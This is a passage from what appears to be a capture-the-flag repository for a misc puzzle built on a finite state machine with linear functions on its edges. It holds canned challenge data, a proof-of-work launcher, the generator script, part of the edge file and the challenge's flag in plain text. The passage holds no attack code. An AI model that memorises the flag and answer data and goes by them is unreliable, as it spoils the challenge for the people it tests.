46063818059063893398952808742173161322287597880756937094226742359840971361637248291220645198247826085234783078826405215540726026139553530412686535002406845289633577657390148811989464917092749", "final_state": 4, "timeout": 15}, {"data": "somebody once told me the world is gonna roll me i ain't the sharpest tool in the shed", "f_expr": "479421777883271666468146753494736172018079080584294669421088787488098473419295239394416724386647770134978169605368601923271428260014667357360100153132342564663064495975958364832460878067006464012889649157676952261876074133180056458556286925490304036717383841939101018909182708506804794561055868239397707425776680578916756853917433307935138239283493723891557505988231759854484745768365591883307897*x + 77347587851573787218749637129960690645502355910288580358125782597741180405972512415400006034168364977302560339850014114222211231434482893074087777186498207478319090599805676477087651921335526489870658704656058980301262344587405834252817437801716175044356199800390286058704926119533130618491857266593735502810561044574837369392110168512964517104598995168041358980219570626532444750037152254066594", "final_state": 79, "timeout": 5}, {"data": "daeherof reh no L na fo epahs eht ni bmuht reh dna regnif reh htiw bmud fo dnik gnikool saw ehs", "f_expr": "31365848204418930965635313241838402762529134776630873380881186659921879035982152667065465335341508971295469552338803409583363372917349837476645010797477789215617948696770800383723235193412396286222854743378426132495504272854298682097892484647677947948642935127643706743083956396246951311305488157343969980690973886753825939786337553451136668168478259921678936446001823168950297863888518662046144801894025999159124309600815547304255587042071*x + 2753504506715151593092473582968618771092470974704477586205647390039555263631791534208553947107837818229022672456363055076726231023266424093550326447728744791051853985131413984076475493941020845270310200945504910149500406142151723301710283164596131041710525488966778558289524830608497174732143035968046680980621951514130746578786027638341928358315620693199609714127547993905135080741494699125328135369507866911476767390774896502083814916196", "final_state": 9, "timeout": 3}, {"data": "According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because bees don't care what humans think is impossible.", "f_expr": "3373820536786674952198127042154169032439902448102814244503493231610374456669808245575707729576090460710518180869304366869157798724568811275983495027902488181445015353481264528399718221833508588261819318049879050995052711371956644870520249836570020938572412522516769916878493663173093348125666093428857322322977019732357758911939697611666985495597834639941253779450730342696085546014156670648106330393424170647993166208764331402365185512037326532491661134074677172897291443809176435004585976131644227720326887849313159337784837886345039400695110164336589278413233519008959794266798532403191429171637451437141374452375000971737616193643185897026248452695685483915702248412268858744178342118744208135799765312554919183969398057754921396573043969757249120591228465279757921458446461912734795992718093412693586878177460918208256512609579783574850058447665097432251894593516088160760967973482145985140992675297629698274155399372103655875662784921969024682816274256882023007014038115959022435900566813588779113342235192675650030816280715354970593969126773771545236201872799886163937499817007189956610108822159340412032237906299612365121969145678512389*x + 199884323911985492249476895766514930286875476772930808291872923023664097301389698600375878597690647203723594837254200802392207762712141433387495454093173875405751549880480108081781216206143818779492700937188072769851651865200612812562787963041267097030808543629725900834636559589975191733380553979817649400996566519075475002689665948133980707225794345412219604938547738289278063475276256119846256763760588288440747375404244621733023870306805886379644409422049775194198118153219025572410289365222680770782504601746847789188733693895657690362638593763662479456505384067651329689457311394754191948153650643512043879611121774927989104337798102987124379704992754591539484524316385421784561556684591053801928662478267007244305378756759195021831116638957604706143847650951132504166098552451813494554003898611348692575455069944258463861275393069446138819164220537554347261943791591260150716209259883381439285613523684678666526595759980214172678241493214354845770655318959645083430411919762672045677374456189829671007670171878558370467607317330783901661152782874846854750652323043755895402038295743072462126619357257017556745099028059691827504634570346", "final_state": 10, "timeout": 2}] ================================================ FILE: misc/flying-spaghetti-monster/challenge/entry.sh ================================================ #!/bin/bash POW_DIFFICULTY=8000 if ! /chal/pow.py ask "$POW_DIFFICULTY"; then echo 'pow fail' exit 1 fi exec "./server.py" ================================================ FILE: misc/flying-spaghetti-monster/challenge/flag.txt ================================================ DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm} ================================================ FILE: misc/flying-spaghetti-monster/challenge/fsm.py ================================================ import inspect import itertools import json import random import string import networkx import sympy GEN_CHUNK = 8192 x = sympy.symbols("x") def linfunc_gen(n=None): i = 0 if n is None: gi = itertools.count() else: gi = range(n // GEN_CHUNK + 2) ps = iter(sympy.ntheory.generate.Sieve()) for i in gi: cs = random.sample(range(GEN_CHUNK), GEN_CHUNK) for p, c in zip(ps, cs): yield sympy.Poly(p * x + c + (i * GEN_CHUNK), x) class FSM(): def __init__(self, g): self.g = g @classmethod def new(cls, alphabet=string.printable): # We shuffle the alphabet so that monotonic state numbers don't leak it alphabet = list(alphabet) random.shuffle(alphabet) g = networkx.complete_graph(alphabet, create_using=networkx.DiGraph) # Add loop edges so we can repeat characters for n in g.nodes: g.add_edge(n, n) # Now generate random linear functions for each edge ec = len(g.edges) for e, f in zip(random.sample(tuple(g.edges), ec), linfunc_gen(ec)): ed = g.edges[e] ed["f"], ed["n"] = f, ord(e[1]) ed["fe"] = fe = f.as_expr() # Now that we've added the values to the edges, we can anonymise the # node into a monotonic series of integer values return cls(networkx.convert_node_labels_to_integers(g)) @classmethod def load(cls, fobj): g = networkx.DiGraph() for edge_repr in fobj.readlines(): a_b, n, fe = edge_repr.strip().split("\t") a, b = a_b.split("->") a, n, b = map(int, (a, n, b)) f = sympy.Poly(fe) g.add_edge(a, b, n=n, f=f, fe=fe) return cls(g) def save(self, fobj): for a, b in random.sample(tuple(self.g.edges), len(self.g.edges)): ed = self.g.edges[(a,b)] fobj.write(f"{a}->{b}\t{ed['n']}\t{ed['fe']}\n") def as_edges(self, inputs): # Convert an input iterable into a series of edge traversals. Note that # we add an extra edge from the 0th element to itself to ensure it is # explicitly included in the edge list. first, *rest = inputs for e in networkx.selfloop_edges(self.g): if self.g.edges[e]["n"] == ord(first): yield e a = e[0] break else: raise LookupError(f"Failed to find loop edge for {first!r}") for c in rest: for b, ed in self.g[a].items(): if ed["n"] == ord(c): yield a, b a = b break else: raise LookupError(f"Failed to find edge from {a!r} for {c!r}") def get_comp(self, inputs): # Compose the linear functions along a path of input values fa = sympy.Poly(x) for e in self.as_edges(inputs): fb = self.g.edges[e]["f"] fa = fb.compose(fa) return fa, e[1] if __name__ == "__main__": print("Creating new FSM") fsm_obj = FSM.new() fsm_obj.save(open("fsm.txt", "w")) print("Creating canned challenges") canned_data = [] for data in (l.strip() for l in open("canned-inputs.txt").readlines()): if not data or data.startswith("#"): continue data, *maybe_timeout = data.split(";") f, sf = fsm_obj.get_comp(data) datum = { "data": data, "f_expr": str(f.as_expr()), "final_state": sf, } if maybe_timeout: (timeout, ) = maybe_timeout datum["timeout"] = int(timeout) canned_data.append(datum) json.dump(canned_data, open("canned.json", "w")) print("Done") ================================================ FILE: misc/flying-spaghetti-monster/challenge/fsm.txt ================================================ 7->7 126 59141*x + 8045 87->20 62 78809*x + 2638 46->78 76 37693*x + 2099 20->44 45 3389*x + 7787 81->80 110 58913*x + 29 64->79 100 2689*x + 5631 76->7 126 30259*x + 2682 96->20 62 64453*x + 2542 17->45 13 11833*x + 828 31->34 41 75659*x + 3942 19->55 39 25931*x + 4215 26->39 113 71569*x + 5640 69->68 36 79231*x + 6411 32->82 40 84223*x + 12778 70->32 69 66191*x + 2600 28->31 47 60793*x + 6673 55->47 90 92863*x + 9576 85->70 57 26759*x + 6582 89->75 56 100103*x + 12753 19->40 34 51767*x + 5025 22->78 76 84239*x + 8723 43->68 36 98327*x + 12415 85->51 97 75149*x + 3217 33->99 54 13049*x + 4608 96->11 43 77291*x + 2817 98->89 107 38113*x + 2431 26->13 99 27329*x + 6129 33->61 10 4889*x + 3125 50->34 41 8837*x + 2730 0->23 11 5791*x + 6797 88->11 43 101581*x + 15684 32->66 44 80231*x + 6906 85->61 10 12917*x + 5484 44->36 79 30293*x + 6415 70->91 91 3527*x + 6939 43->33 122 54959*x + 2245 33->60 85 23159*x + 2708 24->3 118 32983*x + 3821 64->0 33 49481*x + 2517 38->58 35 60443*x + 4961 45->63 60 2999*x + 4346 41->72 92 56827*x + 3208 19->18 80 27211*x + 1065 91->52 42 63761*x + 7972 57->39 113 18211*x + 6000 99->35 88 63709*x + 1108 63->66 44 92077*x + 15876 43->51 97 3967*x + 4146 73->53 120 86927*x + 14325 34->90 86 75239*x + 2494 64->67 117 36767*x + 5909 83->67 117 92219*x + 10343 66->94 125 22079*x + 3986 75->98 93 80329*x + 2703 69->1 112 89689*x + 10856 65->59 84 89809*x + 16085 82->74 55 71257*x + 4160 63->10 46 73453*x + 8065 27->96 67 42157*x + 5687 60->59 84 7741*x + 6600 88->97 108 25253*x + 2715 56->10 46 64237*x + 2529 98->35 88 91463*x + 12302 60->34 41 98429*x + 11326 75->46 74 23741*x + 6975 53->40 34 62417*x + 3793 72->21 9 32213*x + 2281 46->65 95 74453*x + 1274 77->37 114 104233*x + 14064 33->62 103 6581*x + 4567 30->58 35 87877*x + 9239 24->62 103 5821*x + 2788 29->52 42 80777*x + 6255 45->5 82 73141*x + 1106 47->83 12 1999*x + 6739 85->40 34 3671*x + 5522 97->41 73 60623*x + 8105 15->51 97 21377*x + 3667 5->19 61 84431*x + 15377 28->89 107 16447*x + 3003 7->75 56 43661*x + 4492 86->93 98 73387*x + 3617 89->40 34 64333*x + 5903 28->74 55 65539*x + 1981 90->95 111 92557*x + 10281 92->86 53 49331*x + 4876 41->50 116 56921*x + 105 9->48 78 73771*x + 3660 63->88 71 77849*x + 3588 80->5 82 22541*x + 7922 18->14 77 86413*x + 9118 56->58 35 98323*x + 14007 67->18 80 99527*x + 15395 47->45 13 55717*x + 7548 26->43 105 24671*x + 1653 65->0 33 2531*x + 8046 71->17 104 13523*x + 6827 1->90 86 32993*x + 6419 91->29 38 4261*x + 381 55->81 32 95917*x + 9328 21->99 54 683*x + 7924 40->12 101 46183*x + 6356 19->15 63 18311*x + 5288 70->50 116 10457*x + 5339 17->73 102 97523*x + 15902 92->94 125 92401*x + 15732 18->46 74 62929*x + 3352 25->18 80 7937*x + 6691 24->36 79 63533*x + 7728 94->7 126 52609*x + 1876 21->11 43 31981*x + 2304 4->24 65 24137*x + 2296 30->5 82 64853*x + 3867 1->42 87 1103*x + 3011 87->49 68 8221*x + 475 42->19 61 79601*x + 6087 74->75 56 56269*x + 3982 18->77 106 55813*x + 3785 95->44 45 93241*x + 8644 81->90 86 58243*x + 4073 71->22 64 99277*x + 10330 35->7 126 27109*x + 7086 45->6 123 8521*x + 5046 21->5 82 15121*x + 8179 18->85 83 49037*x + 7500 79->34 41 60763*x + 1524 88->14 77 54121*x + 4479 87->42 87 80233*x + 3518 93->65 95 61627*x + 7698 61->86 53 9439*x + 2273 18->99 54 87641*x + 13120 19->27 58 68449*x + 3611 86->79 100 41809*x + 6009 31->1 112 4597*x + 7357 28->93 98 61057*x + 1953 15->31 47 6337*x + 1288 90->3 118 79997*x + 4568 50->77 106 18587*x + 117 28->95 111 35671*x + 7974 82->30 96 15299*x + 450 19->94 125 82591*x + 7653 15->83 12 52177*x + 2666 87->53 120 17747*x + 5066 94->65 95 5689*x + 4212 59->27 58 48383*x + 5677 46->42 87 96059*x + 13777 15->57 109 82799*x + 7353 98->82 40 60889*x + 3954 78->47 90 11329*x + 2728 27->91 91 2*x + 6973 33->43 105 45833*x + 1271 59->97 108 89213*x + 8914 10->36 79 31069*x + 3273 17->78 76 94057*x + 14238 66->45 13 12829*x + 265 78->57 109 94109*x + 9754 67->69 59 59359*x + 3438 11->40 34 26249*x + 1281 71->65 95 52457*x + 7063 54->16 66 6607*x + 5331 31->86 53 8171*x + 5145 67->74 55 50497*x + 7057 45->49 68 20663*x + 1758 62->94 125 11801*x + 2230 34->72 92 27793*x + 1182 50->46 74 17939*x + 5917 34->88 71 16921*x + 7047 22->65 95 47339*x + 3915 0->31 47 96469*x + 16306 15->13 99 8167*x + 482 55->79 100 99989*x + 10189 8->37 114 87103*x + 8854 25->10 46 401*x + 5340 35->30 96 71389*x + 5880 28->22 64 20533*x + 228 26->11 43 78341*x + 3276 52->17 104 95873*x + 12606 23->63 60 28753*x + 3856 84->58 35 30773*x + 6220 66->30 96 100609*x + 12165 14->6 123 96997*x + 14487 64->75 56 37889*x + 6552 6->27 58 31321*x + 5432 33->49 68 61469*x + 5683 4->40 34 85009*x + 15985 37->8 49 15017*x + 4032 45->22 64 59581*x + 2450 51->58 35 100733*x + 10264 60->66 44 81953*x + 6471 55->48 78 73999*x + 276 9->74 55 17683*x + 5771 69->56 119 52021*x + 2457 80->67 117 26723*x + 726 67->88 71 43013*x + 4817 97->52 42 78497*x + 7466 47->88 71 18493*x + 399 18->79 100 50777*x + 7788 92->90 86 27259*x + 7685 25->20 62 56171*x + 8067 35->82 40 5417*x + 7914 78->54 94 58217*x + 5751 76->28 50 25189*x + 1611 53->90 86 29959*x + 167 35->6 123 62701*x + 3920 37->48 78 68111*x + 4700 12->35 88 45841*x + 4437 61->36 79 54101*x + 7343 21->48 78 34127*x + 3044 36->21 9 16493*x + 4658 94->1 112 14153*x + 5797 53->9 115 54421*x + 5106 61->34 41 48677*x + 838 73->44 45 37423*x + 5737 20->17 104 91691*x + 10200 81->8 49 43391*x + 5806 26->41 73 55843*x + 7647 48->69 59 102329*x + 14524 63->78 76 91019*x + 11290 30->66 44 42979*x + 383 57->8 49 46141*x + 6520 33->37 114 32999*x + 1545 43->96 67 90677*x + 14757 20->43 105 827*x + 7913 66->50 116 76147*x + 5654 30->94 125 92269*x + 13972 56->17 104 29333*x + 832 71->57 109 4177*x + 6911 62->31 47 84229*x + 15767 27->72 92 8387*x + 1764 48->1 112 64151*x + 4793 38->34 41 85313*x + 10972 48->30 96 54581*x + 7425 56->27 58 35401*x + 2297 11->37 114 43411*x + 2988 22->31 47 42491*x + 3956 28->84 89 15263*x + 8059 31->66 44 59239*x + 5065 21->9 115 81847*x + 2382 97->33 122 43649*x + 3452 32->35 88 72313*x + 6824 98->54 94 36697*x + 1548 53->28 50 58111*x + 1042 58->77 106 65657*x + 8007 55->51 97 48119*x + 5777 10->43 105 67421*x + 6929 0->13 99 70921*x + 751 13->80 110 31081*x + 1377 36->65 95 25117*x + 3392 38->75 56 97973*x + 15630 60->73 102 78803*x + 6172 40->34 41 51283*x + 6560 29->19 61 71999*x + 4181 56->33 122 84059*x + 14884 3->70 57 59243*x + 4385 74->40 34 62639*x + 6484 51->23 11 77101*x + 6239 58->85 83 45191*x + 3107 67->15 63 67567*x + 2816 55->3 118 38917*x + 2553 49->39 113 26839*x + 5134 28->97 108 26891*x + 95 70->80 110 53777*x + 5760 76->22 64 21341*x + 829 44->59 84 85999*x + 16017 22->67 117 40241*x + 3220 79->93 98 54709*x + 6974 45->82 40 2269*x + 1453 70->52 42 101333*x + 14426 91->20 62 95393*x + 9396 63->20 62 73943*x + 1807 93->50 116 38609*x + 2094 98->10 46 13873*x + 6683 37->0 33 31379*x + 826 36->90 86 59693*x + 2602 7->18 80 38461*x + 4046 79->60 85 48533*x + 5454 93->41 73 78427*x + 3148 2->38 75 74287*x + 6458 60->40 34 29387*x + 7351 66->63 60 30091*x + 4861 90->86 53 54517*x + 5538 97->97 108 11369*x + 3671 4->17 104 2677*x + 3878 11->79 100 23789*x + 6133 99->37 114 50767*x + 4483 63->71 37 104281*x + 9798 27->11 43 36451*x + 5609 3->88 71 29573*x + 181 43->69 59 4451*x + 5758 28->12 101 1801*x + 2482 95->87 121 89923*x + 11792 74->84 89 38543*x + 546 48->97 108 12953*x + 3873 0->36 79 48121*x + 242 68->7 126 8297*x + 2979 10->37 114 79043*x + 536 77->78 76 2341*x + 2015 89->81 32 29363*x + 2459 96->55 39 104561*x + 12322 37->95 111 48733*x + 6269 75->82 40 1181*x + 2210 65->32 69 57559*x + 4974 59->65 95 83689*x + 1450 88->36 79 52973*x + 7660 10->28 50 67901*x + 1586 32->31 47 83221*x + 2056 63->42 87 93971*x + 9168 97->0 33 32609*x + 1366 5->54 94 51839*x + 7626 92->76 124 30139*x + 5626 88->37 114 21013*x + 734 43->13 99 34351*x + 6669 9->86 53 51971*x + 6757 20->7 126 62099*x + 3036 21->2 72 88037*x + 8238 32->52 42 27611*x + 211 87->70 57 94993*x + 8863 71->60 85 79151*x + 2228 10->34 41 39709*x + 5803 79->96 67 52631*x + 1266 80->35 88 90149*x + 13690 71->62 103 20173*x + 5378 57->5 82 31189*x + 6076 59->44 45 60017*x + 2677 65->22 64 13781*x + 6668 56->76 124 8969*x + 2333 69->29 38 52861*x + 3658 1->23 11 71069*x + 3477 64->82 40 16693*x + 870 15->69 59 70841*x + 781 81->51 97 6317*x + 2162 97->64 70 97021*x + 10658 63->49 68 86869*x + 12508 62->92 51 79903*x + 6143 21->88 71 30269*x + 3299 87->25 52 28607*x + 2596 26->0 33 40699*x + 6557 60->12 101 39607*x + 3700 50->43 105 99923*x + 8812 36->39 113 17923*x + 2289 99->97 108 92189*x + 13816 1->91 91 41969*x + 3735 85->12 101 90313*x + 11163 26->20 62 33613*x + 3767 41->5 82 94033*x + 14575 82->32 69 75347*x + 581 50->65 95 97303*x + 15471 33->2 72 38039*x + 4319 57->19 61 52757*x + 6838 13->55 39 16033*x + 3687 38->78 76 82619*x + 2777 45->39 113 21397*x + 2502 47->62 103 38639*x + 7816 37->89 107 47297*x + 607 68->78 76 1051*x + 2825 79->53 120 87071*x + 8582 61->63 60 70823*x + 7554 37->15 63 79031*x + 7453 59->22 64 77471*x + 6542 31->87 121 25411*x + 2420 76->21 9 97117*x + 11550 26->22 64 63347*x + 754 85->11 43 97453*x + 14078 82->97 108 80239*x + 7904 94->33 122 53719*x + 6731 72->67 117 33713*x + 1074 66->64 70 28549*x + 6515 20->50 116 67049*x + 4864 83->34 41 91909*x + 14949 9->54 94 37447*x + 114 56->44 45 9151*x + 1655 37->27 58 6361*x + 5796 76->49 68 26861*x + 1678 26->25 52 8017*x + 3578 95->89 107 85931*x + 13470 37->13 99 25111*x + 464 2->73 102 57601*x + 5611 36->67 117 38177*x + 6174 42->70 57 83791*x + 6878 20->20 62 7247*x + 3902 72->10 46 29537*x + 4299 55->92 51 61381*x + 697 16->31 47 83269*x + 7721 87->6 123 85577*x + 8421 78->28 50 70997*x + 6313 15->76 124 11113*x + 6263 87->66 44 79657*x + 7995 98->78 76 3359*x + 6936 89->91 91 103981*x + 14641 14->74 55 51827*x + 2719 62->78 76 55579*x + 2409 54->29 38 60317*x + 7595 16->28 50 34841*x + 4457 78->9 115 83639*x + 1287 5->69 59 21193*x + 920 85->10 46 54277*x + 7052 62->11 43 97159*x + 11316 68->10 46 94229*x + 13952 56->56 119 6221*x + 8107 42->84 89 22531*x + 7170 28->71 37 19973*x + 2658 61->87 121 22259*x + 1402 71->81 32 28163*x + 4091 40->42 87 6449*x + 2676 29->53 120 49057*x + 1013 41->47 90 26261*x + 7993 44->76 124 45491*x + 1922 4->93 98 15443*x + 1748 69->12 101 29101*x + 1294 17->5 82 7219*x + 4143 44->71 37 82241*x + 6658 59->59 84 44711*x + 1879 80->55 39 47981*x + 1723 84->59 84 93607*x + 12699 66->18 80 101117*x + 11453 21->82 40 53087*x + 7127 51->72 92 929*x + 8014 50->40 34 73883*x + 4079 41->77 106 68611*x + 4837 96->9 115 70639*x + 1885 5->14 77 39979*x + 7038 51->3 118 36821*x + 3605 74->5 82 71917*x + 1059 57->50 116 4391*x + 3625 63->7 126 57557*x + 2515 95->37 114 62731*x + 4120 65->43 105 101063*x + 8709 7->22 64 58309*x + 4564 25->33 122 51551*x + 3698 65->53 120 57809*x + 6272 98->34 41 34367*x + 2022 7->97 108 78137*x + 483 77->54 94 46153*x + 2971 22->84 89 45589*x + 5376 17->0 33 83969*x + 769 41->70 57 56431*x + 4432 61->75 56 90847*x + 11110 46->69 59 54001*x + 4509 21->85 83 433*x + 1505 49->49 68 74857*x + 4037 61->35 88 44867*x + 3139 2->93 98 82657*x + 1646 55->59 84 55921*x + 2681 71->44 45 90403*x + 13221 89->68 36 59617*x + 7568 52->75 56 35759*x + 5377 96->49 68 20899*x + 4307 48->45 13 70121*x + 1096 24->4 48 62687*x + 308 19->99 54 31249*x + 3739 41->74 55 49199*x + 5568 68->56 119 62897*x + 3517 99->4 48 77041*x + 7191 13->72 92 64283*x + 2458 48->65 95 57143*x + 504 68->34 41 33223*x + 2556 39->63 60 87853*x + 11204 75->30 96 7253*x + 7215 97->4 48 15413*x + 6200 97->90 86 93523*x + 9270 27->41 73 4519*x + 6535 5->61 10 58481*x + 3333 27->49 68 25673*x + 5518 70->81 32 40343*x + 262 60->55 39 46447*x + 6101 89->8 49 55103*x + 7662 81->40 34 70351*x + 814 13->6 123 10691*x + 7409 33->26 81 29599*x + 7467 74->94 125 31543*x + 6410 52->95 111 101693*x + 10769 38->47 90 39749*x + 5156 66->75 56 10273*x + 8101 32->25 52 61723*x + 7139 46->79 100 49991*x + 2164 77->8 49 58067*x + 2061 47->70 57 55849*x + 3022 77->67 117 72959*x + 1231 44->96 67 71713*x + 1896 33->33 122 49121*x + 4056 44->50 116 92153*x + 11694 43->11 43 104239*x + 12660 75->44 45 4099*x + 2224 88->83 12 62827*x + 7123 31->21 9 102841*x + 12764 48->20 62 42089*x + 6193 13->87 121 49633*x + 6550 70->34 41 37783*x + 1703 51->98 93 76129*x + 3112 52->2 72 49109*x + 3582 7->16 66 51871*x + 4862 78->59 84 30643*x + 4063 91->65 95 95311*x + 10608 26->96 67 79613*x + 191 0->65 95 1237*x + 7560 43->84 89 18133*x + 1401 47->48 78 90353*x + 12003 6->86 53 46817*x + 4219 33->0 33 53987*x + 1778 31->15 63 90071*x + 15219 55->89 107 89561*x + 15994 40->59 84 29867*x + 43 20->37 114 81647*x + 2321 81->87 121 20347*x + 3425 6->39 113 34631*x + 2968 21->21 9 8731*x + 5840 17->94 125 43577*x + 3233 22->70 57 20107*x + 3406 37->26 81 16273*x + 5186 61->43 105 467*x + 7617 34->91 91 9173*x + 4254 34->73 102 65327*x + 2460 59->80 110 96053*x + 15173 77->46 74 90439*x + 15560 34->69 59 69431*x + 2562 34->92 51 44021*x + 6092 51->99 54 9029*x + 5676 75->25 52 8087*x + 951 40->18 80 74869*x + 7733 78->19 61 11743*x + 5076 25->80 110 13001*x + 8089 14->77 106 81223*x + 2446 74->8 49 30211*x + 3513 96->56 119 10459*x + 5282 75->28 50 449*x + 6295 96->61 10 80077*x + 6663 89->44 45 26953*x + 2437 84->75 56 71867*x + 7908 47->81 32 38677*x + 6829 42->24 65 97847*x + 14890 65->92 51 83777*x + 8008 67->82 40 92693*x + 15995 94->80 110 20479*x + 672 64->23 11 62851*x + 1939 34->66 44 53189*x + 4165 85->5 82 6311*x + 7072 99->68 36 95479*x + 11577 12->54 94 95009*x + 9863 38->9 115 4013*x + 1742 54->66 44 44257*x + 3215 54->31 47 27751*x + 4940 60->80 110 49739*x + 1770 6->20 62 70241*x + 5506 26->42 87 68683*x + 385 95->79 100 59669*x + 780 21->36 79 43789*x + 5126 24->13 99 87833*x + 14422 5->33 122 4093*x + 2178 50->32 69 43973*x + 3341 50->96 67 17293*x + 1365 50->26 81 103963*x + 9340 52->9 115 68699*x + 6233 84->28 50 57193*x + 1727 52->6 123 53201*x + 7671 14->4 48 104683*x + 11730 8->6 123 99577*x + 13184 77->40 34 13697*x + 1215 22->4 48 92849*x + 9606 49->71 37 68311*x + 4221 47->72 92 38453*x + 7251 52->58 35 96557*x + 11235 15->3 118 70223*x + 1347 14->67 117 79273*x + 3723 2->19 61 25561*x + 7655 12->86 53 47969*x + 3205 73->88 71 37493*x + 897 99->12 101 4397*x + 2533 72->13 99 98411*x + 14033 1->70 57 67891*x + 822 30->51 97 99907*x + 16195 98->60 85 19661*x + 6023 38->17 104 5297*x + 4967 73->75 56 50033*x + 7122 83->58 35 54563*x + 3549 64->52 42 18217*x + 371 55->38 75 87317*x + 16166 82->53 120 58943*x + 5668 60->65 95 787*x + 7759 75->33 122 12941*x + 4660 37->63 60 5107*x + 528 31->53 120 75883*x + 3253 43->18 80 70853*x + 318 26->48 78 86111*x + 11773 96->60 85 46091*x + 6807 75->3 118 80489*x + 6916 93->33 122 90887*x + 14186 17->67 117 40099*x + 1308 18->29 38 14879*x + 6310 87->29 38 17*x + 209 33->97 108 80279*x + 7232 78->63 60 40031*x + 4193 28->59 84 78277*x + 5532 87->2 72 101159*x + 13171 94->61 10 773*x + 4604 42->65 95 58787*x + 6466 76->47 90 59069*x + 7565 5->68 36 16063*x + 983 94->11 43 17921*x + 7921 27->58 35 45779*x + 4958 92->97 108 79187*x + 6261 57->46 74 43271*x + 143 35->89 107 47513*x + 1161 7->64 70 46349*x + 945 85->8 49 60937*x + 4791 54->80 110 71647*x + 7441 2->26 81 10781*x + 854 19->70 57 70991*x + 6298 86->29 38 25541*x + 1616 93->51 97 89237*x + 14670 21->68 36 82633*x + 3191 23->43 105 101663*x + 8872 64->53 120 5101*x + 3980 92->58 35 85223*x + 10811 41->12 101 28571*x + 3194 37->9 115 6343*x + 7684 89->79 100 32237*x + 7664 60->25 52 66533*x + 1728 19->16 66 10139*x + 8038 1->46 74 9613*x + 3049 7->99 54 27061*x + 2810 76->12 101 23893*x + 3384 11->32 69 48883*x + 6005 62->58 35 2243*x + 2402 47->6 123 26407*x + 4880 85->93 98 94433*x + 9506 92->10 46 55837*x + 5048 17->2 72 38273*x + 75 13->11 43 10223*x + 7876 68->51 97 62053*x + 4112 36->73 102 1559*x + 7070 36->96 67 80683*x + 7126 9->31 47 47497*x + 1385 53->88 71 57641*x + 264 78->43 105 68483*x + 4224 19->24 65 30469*x + 6919 10->21 9 94811*x + 14247 7->72 92 95101*x + 8384 85->76 124 32491*x + 1506 33->53 120 64921*x + 3962 65->20 62 91703*x + 8220 74->10 46 103237*x + 15125 34->11 43 78157*x + 2740 23->32 69 4673*x + 5428 19->22 64 6547*x + 2477 10->63 60 20249*x + 2063 93->5 82 55201*x + 296 32->88 71 30367*x + 6449 54->93 98 52967*x + 1700 10->42 87 39233*x + 5088 62->37 114 51413*x + 3603 9->67 117 60089*x + 3581 37->14 77 99829*x + 11090 53->31 47 104089*x + 10806 75->7 126 85427*x + 8869 61->44 45 57947*x + 5328 7->73 102 52147*x + 3256 6->11 43 79847*x + 6265 9->38 75 16381*x + 3493 93->47 90 48463*x + 5670 18->95 111 99679*x + 14274 23->26 81 62191*x + 3179 54->19 61 30671*x + 2037 56->63 60 62539*x + 1319 42->59 84 36683*x + 4498 36->11 43 92369*x + 9714 51->7 126 14533*x + 206 78->45 13 56999*x + 5329 45->94 125 13999*x + 1171 14->42 87 79333*x + 1969 23->97 108 43963*x + 5055 81->91 91 53323*x + 392 61->46 74 26203*x + 7295 21->57 109 58403*x + 1859 6->46 74 27919*x + 3281 36->38 75 14753*x + 6749 93->26 81 11093*x + 6021 76->18 80 87559*x + 10661 56->65 95 88397*x + 10707 29->65 95 86389*x + 12988 47->23 11 11593*x + 2964 13->17 104 103451*x + 12779 8->2 72 39667*x + 4002 1->37 114 61*x + 4276 79->52 42 8291*x + 4231 42->98 93 10141*x + 7452 36->97 108 84869*x + 14259 90->87 121 49207*x + 5293 30->75 56 81553*x + 398 63->39 113 45697*x + 2049 43->10 46 4547*x + 3023 76->72 92 14537*x + 1744 88->58 35 37441*x + 4208 80->86 53 80287*x + 7435 89->9 115 82727*x + 4423 80->91 91 65983*x + 7605 69->64 70 91373*x + 14969 19->8 49 84533*x + 10484 8->61 10 24793*x + 1991 17->55 39 34211*x + 2616 62->3 118 79229*x + 1647 63->96 67 11927*x + 7501 73->4 48 91163*x + 11922 41->61 10 6823*x + 1918 16->37 114 99251*x + 16087 14->61 10 9803*x + 7659 37->17 104 27967*x + 1262 8->89 107 3041*x + 3904 29->50 116 76213*x + 1284 93->62 103 93487*x + 16088 71->83 12 51803*x + 1983 3->56 119 613*x + 3906 21->24 65 2477*x + 1998 99->95 111 14519*x + 1063 40->79 100 15091*x + 4425 25->22 64 50087*x + 4598 17->88 71 14543*x + 6215 63->26 81 26267*x + 7513 16->88 71 89449*x + 15136 69->99 54 2897*x + 1124 12->42 87 3631*x + 5230 29->49 68 41077*x + 1393 12->56 119 19709*x + 2092 1->82 40 80599*x + 1793 15->65 95 62071*x + 5326 72->3 118 31657*x + 83 54->13 99 10639*x + 7947 55->71 37 49307*x + 1515 65->46 74 51229*x + 1664 84->80 110 32771*x + 7902 79->64 70 34583*x + 252 89->96 67 29033*x + 200 59->32 69 33023*x + 843 60->90 86 26251*x + 501 22->54 94 63311*x + 2403 7->21 9 83431*x + 4668 74->39 113 74827*x + 6994 51->86 53 11807*x + 3892 82->96 67 23663*x + 4663 40->41 73 44293*x + 7262 80->40 34 97373*x + 8598 55->29 38 10433*x + 3405 99->64 70 37021*x + 3216 40->37 114 18713*x + 7314 66->47 90 84719*x + 12314 0->32 69 67939*x + 6900 5->3 118 103567*x + 13880 80->99 54 98017*x + 16258 99->11 43 39397*x + 2019 71->99 54 101537*x + 11237 38->33 122 8501*x + 5965 63->60 85 73417*x + 426 6->61 10 50119*x + 7077 1->95 111 49927*x + 236 20->55 39 32261*x + 1582 46->97 108 38651*x + 8021 19->54 94 41381*x + 6443 46->36 79 80917*x + 840 11->25 52 60271*x + 800 30->69 59 61813*x + 445 1->57 109 60899*x + 1938 35->61 10 3793*x + 5090 56->46 74 17959*x + 5003 64->30 96 53699*x + 5214 72->75 56 33311*x + 3490 47->21 9 47441*x + 7272 89->5 82 46027*x + 1439 4->80 110 70583*x + 3627 40->9 115 50377*x + 1474 10->96 67 10723*x + 4544 87->56 119 57097*x + 5435 63->44 45 80167*x + 1667 7->54 94 79337*x + 533 73->9 115 38219*x + 900 7->27 58 19751*x + 304 51->19 61 36109*x + 493 19->88 71 30631*x + 6245 95->65 95 80611*x + 2432 37->86 53 100519*x + 11404 57->43 105 67369*x + 4188 78->75 56 70849*x + 7770 91->25 52 7213*x + 5702 79->54 94 9479*x + 8084 59->92 51 38083*x + 4459 13->95 111 6299*x + 7840 44->79 100 5399*x + 508 44->0 33 12071*x + 6155 90->90 86 33329*x + 4589 13->76 